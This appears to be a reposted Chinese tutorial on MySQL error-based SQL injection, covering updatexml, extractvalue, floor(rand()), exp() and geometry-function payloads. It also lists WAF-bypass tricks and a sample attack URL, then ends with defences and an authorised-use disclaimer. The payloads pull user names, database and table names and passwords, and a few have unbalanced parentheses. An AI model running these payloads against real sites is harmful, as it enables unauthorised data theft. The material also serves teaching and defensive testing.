当前位置: 首页 > news >正文

报错注入原理与全方法总结

报错注入原理与全方法总结

核心原理:利用数据库函数执行时的强制报错机制,通过拼接恶意构造的语句触发错误,在报错信息中返回敏感数据。


一、主流报错注入方法详解

1️⃣ updatexml() 函数
  • 语法updatexml(XML_document, XPath_string, new_value)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)
    
  • 关键技巧
    • 通过 0x7e~符号)破坏XPath语法格式触发报错
    • 嵌套子查询 (SELECT ...) 获取数据库信息
  • 实战案例
    # 获取当前数据库名
    updatexml(1, concat(0x7e,(SELECT database()),0x7e),1)# 提取表名(需绕过行数限制)
    updatexml(1, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)
    ,0x7e),1)
    
2️⃣ extractvalue() 函数
  • 语法extractvalue(XML_document, XPath_string)
  • 适用版本:MySQL 5.1.5+
  • Payload构造
    AND extractvalue(1, concat(0x7e,(SELECT user()),0x7e))
    
  • 特点:报错原理与updatexml()相同,但参数更少

二、扩展报错注入方法(补充)

3️⃣ floor(rand())*2 报错
  • 原理group byrand()函数产生的重复值冲突
  • 经典Payload
    SELECT count(*) FROM information_schema.tables 
    GROUP BY concat((SELECT user()), floor(rand(0)*2
    )
    
  • 优势:可一次性返回多行数据
4️⃣ exp() 函数溢出报错
  • 原理:超大指数导致数值溢出
  • Payload
    SELECT exp(~(SELECT * FROM(SELECT user())x))
    
5️⃣ 几何函数报错(MySQL 5.7+)
  • 利用 ST_LatFromGeoHash(), GTID_SUBSET()
  • 示例
    SELECT ST_LatFromGeoHash((SELECT user()));
    

三、绕过技巧与高级用法

  1. 解决字符长度限制(32字符):

    • 使用 substr() 分片获取数据:
      updatexml(1, concat(0x7e,substr((SELECT password FROM users LIMIT 1),1,20)
      ,0x7e),1)
      
  2. 无回显场景联合使用

    AND if(1=1, updatexml(1,concat(0x7e,version()),1), sleep(3)
    
  3. WAF绕过技巧

    • 双写关键字:selselectect
    • 内联注释:/*!updatexml()*/
    • 空白符干扰:%0a%0d(换行符)

四、防御方案

  1. 代码层
    • 使用参数化查询(Prepared Statements)
    • 过滤特殊字符:~ # xp_ /*
  2. 数据库层
    • 限制错误信息输出(关闭详细报错)
    • 最小权限原则:禁用FILE/EXECUTE权限
  3. 设备层
    • WAF规则:拦截包含 updatexml|extractvalue|rand() 的请求

五、实战检测示例

GET /product.php?id=1' AND updatexml(1,concat(0x7e,@@version),1)--+

返回结果

XPATH syntax error: '~10.6.12-MariaDB'

法律声明:报错注入技术仅限授权测试使用!本文方法已做脱敏处理,严禁未授权渗透。

http://www.dtcms.com/a/336716.html

相关文章:

  • HAL-ADC配置
  • 快速了解均值滤波处理
  • 关于动态代理的个人记录
  • CF2121B Above the Clouds
  • 【Java】多线程Thread类
  • 什么是AIGC(人工智能生成内容)
  • 牛客周赛 Round 104(小红的树不动点)
  • 人工智能入门②:AI基础知识(下)
  • 计算机程序编程软件开发设计之node..js语言开发的基于Vue框架的选课管理系统的设计与实现、基于express框架的在线选课系统的设计与实现
  • STM32——软硬件I2C
  • Font Awesome Kit 使用详解
  • OTA升级
  • Vue Router 嵌套路由与布局系统详解:从新手到精通
  • 【牛客刷题】随机加减操作:两种高效解法详解(DFS记忆化搜索和动态规划集合更新法)
  • java序列化和反序列化
  • FX10/20 (CYUSB401X)开发笔记5 固件架构
  • 【个人项目】跑者天地—测试报告
  • 深入解析二维数组传参的本质
  • 运动场和光流-动手学计算机视觉17
  • 正则表达式实用面试题与代码解析专栏
  • 【Nginx】限流设置
  • 二三层交换转发业务~基础汇总
  • Mysql笔记-错误条件\处理程序
  • SSM从入门到实践:1.1 Spring框架概述与IoC容器入门
  • 堆(Heap):高效的优先级队列实现
  • duiLib 解决点击标题栏中按钮无响应问题
  • ROS2基础
  • C语言零基础第19讲:自定义类型—联合体和枚举
  • 解锁Java开发神器:XXL-Job从入门到精通
  • BT_LE_ADV_CONN_ONE_TIME 参数详解